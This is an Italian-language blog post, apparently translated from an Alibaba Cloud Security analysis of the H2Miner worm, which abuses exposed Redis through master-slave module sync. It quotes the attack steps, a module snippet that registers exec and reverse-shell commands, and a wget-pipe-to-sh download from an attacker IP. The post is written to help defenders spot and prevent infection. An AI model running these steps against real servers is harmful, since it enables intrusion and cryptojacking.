{"id":55714,"date":"2020-01-27T00:00:00","date_gmt":"2020-01-26T21:00:00","guid":{"rendered":"https:\/\/prohoster.info\/blog\/blog_prohoster\/obnaruzhena-novaya-vspyshka-h2miner-chervej-kotorye-ekspluatiruyut-redis-rce"},"modified":"2020-02-18T14:03:51","modified_gmt":"2020-02-18T11:03:51","slug":"obnaruzhena-novaya-vspyshka-h2miner-chervej-kotorye-ekspluatiruyut-redis-rce","status":"publish","type":"post","link":"https:\/\/prohoster.info\/it\/blog\/administrirovanie\/obnaruzhena-novaya-vspyshka-h2miner-chervej-kotorye-ekspluatiruyut-redis-rce","title":{"rendered":"\u00c8 stata rilevata una nuova esplosione di worm H2Miner che sfruttano Redis RCE","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

Un giorno fa, uno dei server del mio progetto \u00e8 stato attaccato da un worm simile. In cerca di una risposta alla domanda \"che cos'era questo?\" ho trovato un articolo straordinario del team di Alibaba Cloud Security. Poich\u00e9 non ho trovato questo articolo su Habr, ho deciso di tradurlo appositamente per voi <3\n<\/p><\/blockquote>\n

Introduzione<\/h2>\n

\nRecentemente, il team di sicurezza di Alibaba Cloud ha rilevato un'improvvisa ondata di H2Miner. Questo tipo di worm malevolo sfrutta l'assenza di autorizzazione o le password deboli per Redis come porte d'accesso ai vostri sistemi, quindi sincronizza il proprio modulo malevolo con lo slave tramite la sincronizzazione master-slave e, infine, carica questo modulo malevolo sulla macchina attaccata ed esegue istruzioni dannose.<\/p>\n

In passato, gli attacchi ai vostri sistemi venivano principalmente effettuati utilizzando un metodo che prevedeva attivit\u00e0 pianificate o chiavi SSH, che venivano registrate sulla vostra macchina dopo che l'intruso accedeva a Redis. Fortunatamente, questo metodo non pu\u00f2 essere utilizzato frequentemente a causa di problemi di controllo delle autorizzazioni o di diverse versioni del sistema. Tuttavia, questo metodo di caricamento di moduli malevoli pu\u00f2 eseguire direttamente i comandi dell'attaccante o accedere a una shell, il che \u00e8 pericoloso per il vostro sistema.<\/p>\n

A causa dell'alto numero di server<\/a> Redis disponibili su Internet (quasi 1 milione), il team di sicurezza di Alibaba Cloud, come promemoria amichevole, raccomanda agli utenti di non fornire accesso a Redis dalla rete e di controllare regolarmente l'affidabilit\u00e0 delle proprie password, nonch\u00e9 di verificare se sono vulnerabili a un attacco di forza bruta.<\/p>\n

H2Miner<\/h2>\n

\nH2Miner \u00e8 un botnet di mining per sistemi basati su Linux, che pu\u00f2 infiltrarsi nel vostro sistema in vari modi, tra cui l'assenza di autorizzazione in Hadoop yarn, Docker e la vulnerabilit\u00e0 di esecuzione remota dei comandi Redis (RCE). Il botnet funziona caricando script malevoli e malware per estrarre i vostri dati, espandere orizzontalmente l'attacco e mantenere la comunicazione con il comando e il controllo (C&C).
\n<\/a><\/noindex><\/p>\n

Redis RCE<\/h2>\n

\nPavel Toporkov ha condiviso queste informazioni durante ZeroNights 2018. Dopo la versione 4.0, Redis supporta la funzione di caricamento di moduli esterni, che consente agli utenti di caricare file so compilati in C in Redis per eseguire determinate comandi di Redis. Questa funzione, sebbene utile, presenta una vulnerabilit\u00e0 attraverso la quale, in modalit\u00e0 master-slave, i file possono essere sincronizzati con lo slave tramite la modalit\u00e0 fullresync. Questo pu\u00f2 essere sfruttato da un attaccante per trasferire file so dannosi. Dopo il completamento del trasferimento, i malintenzionati caricano il modulo sull'istanza Redis attaccata ed eseguono qualsiasi comando.<\/p>\n

Analisi del worm dannoso<\/h2>\n

\nRecentemente, il team di sicurezza di Alibaba Cloud ha scoperto che la dimensione del gruppo di minatori dannosi H2Miner \u00e8 aumentata drasticamente. Secondo l'analisi, il processo complessivo di attacco si presenta nel seguente modo:<\/p>\n

\"\u00c8
\n
\nH2Miner utilizza RCE Redis per un attacco completo. Inizialmente, i malintenzionati attaccano i server Redis non protetti o i server con password deboli.<\/p>\n

Poi utilizzano il comando config set dbfilename red2.so<\/code> per cambiare il nome del file. Successivamente, gli attaccanti eseguono il comando slaveof<\/code> per impostare l'indirizzo host della replica master-slave. <\/p>\n

Quando l'istanza Redis attaccata stabilisce una connessione master-slave con Redis dannoso, che appartiene all'attaccante, l'attaccante invia il modulo infetto tramite il comando fullresync per sincronizzare i file. Il file red2.so verr\u00e0 quindi caricato sulla macchina attaccata. Dopodich\u00e9, i malintenzionati utilizzano il modulo di caricamento .\\\/red2.so per caricare questo file so. Il modulo pu\u00f2 eseguire comandi dell'attaccante o avviare una connessione inversa (backdoor) per ottenere accesso alla macchina attaccata.<\/p>\n

if (RedisModule_CreateCommand(ctx, \"system.exec\",\n        DoCommand, \"readonly\", 1, 1, 1) == REDISMODULE_ERR)\n        return REDISMODULE_ERR;\n      if (RedisModule_CreateCommand(ctx, \"system.rev\",\n        RevShellCommand, \"readonly\", 1, 1, 1) == REDISMODULE_ERR)\n        return REDISMODULE_ERR;\n<\/code><\/pre>\n
\nDopo aver eseguito un comando dannoso, come \/ bin \/ sh -c wget -q -O-http:\/\/195.3.146.118\/unk.sh | sh> \/ dev \/ null 2> & 1<\/code>, l'attaccante azzerer\u00e0 il nome del file di backup e scaricher\u00e0 il modulo di sistema per cancellare le tracce. Tuttavia, il file red2.so rimarr\u00e0 sulla macchina attaccata. Si raccomanda agli utenti di prestare attenzione alla presenza di un file sospetto in cartella della loro istanza Redis.<\/p>\n
In aggiunta alla distruzione di alcuni processi dannosi per il furto di risorse, l'attaccante ha seguito uno scenario malevolo, caricando e avviando file dannosi in forma binaria per 142.44.191.122\/kinsing<\/a><\/noindex>. Questo significa che il nome del processo o il nome della cartella contenente kinsing sull'host possono indicare che questa macchina \u00e8 stata infettata da questo virus.<\/p>\n
Secondo i risultati del reverse engineering, il malware esegue principalmente le seguenti funzioni:<\/p>\n